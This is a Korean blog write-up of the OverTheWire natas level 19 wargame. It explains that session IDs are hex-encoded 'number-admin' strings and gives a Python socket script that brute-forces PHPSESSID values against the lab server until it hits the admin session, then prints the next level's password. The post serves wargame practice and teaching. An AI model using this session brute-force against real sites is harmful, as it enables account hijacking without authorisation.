: level 18 → level 19
http://natas19.natas.labs.overthewire.org
natas19는 natas18과 소스코드는 동일하다. 단, 세션 ID의 길이가 좀 더 길어졌다고 한다.
세션 ID의 형태가 어떻게 바뀌었는지 확인하기 위해 아래처럼 3개의 세션값을 받아왔다.
3232372d61646d696e
3337382d61646d696e
3237372d61646d696e
3개의 세션값을 받아온 결과 2d61646d696e는 반복되고, 앞은 3n형식으로 이루어져 있다는 것을 알게되었다.
이 패턴을 기반으로 natas20 password를 알아내보자.
이번에도 역시 자동화프로그램을 사용해서 2d61646d696e 앞의 숫자들을 조합하여 해결했다.
자동화프로그램은 다음과 같다.
import socket
dic = {'0':'30', '1':'31', '2':'32', '3':'33', '4':'34', '5':'35', '6':'36', '7':'37', '8':'38', '9':'39'}
for i in range(1, 641):
i = list(str(i))
ch=""
for x in range(len(i)):
ch += dic[i[x]]
print(ch)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("176.9.9.172", 80))
header = "GET /index.php HTTP/1.1\r\n"
header += "Host:natas19.natas.labs.overthewire.org\r\n"
header += "Authorization: Basic bmF0YXMxOTo0SXDJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n"
header += "Cookie:PHPSESSID=" + str(ch) + "2d61646d696e\r\n"
header += "\r\n"
response = " "
sock.send(header.encode())
response = sock.recv(65535)
response = response.decode()
if "You are an admin" in response:
print(response)
break
sock.close()
print()
세션ID를 다음과 같이 조합해서 ch + 2d61646d696e header에 보내준다.
조합과정에서 admin의 세션 ID를 찾게 되면 response를 그대로 출력해서 natas20의 password를 확인한다.
실행결과는 다음과 같다.
ch가 323831에서 for문이 멈췄다. 따라서 admin의 세션ID는 3238312d61646d696e이다.
화면에 You are an admin. 문구와 함께 Username이 natas20일 때의 password가 출력됐다.
natas20 password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
'Study > Web Hacking' 카테고리의 다른 글
[LOS] skeleton (0) | 2021.06.27 |
---|---|
[LOS] vampire (0) | 2021.06.27 |
[natas] Level 17 -> Level 18 (0) | 2021.06.27 |
[XSS Challenge] Stage #15 (0) | 2021.06.27 |
[LOS] troll (0) | 2021.06.27 |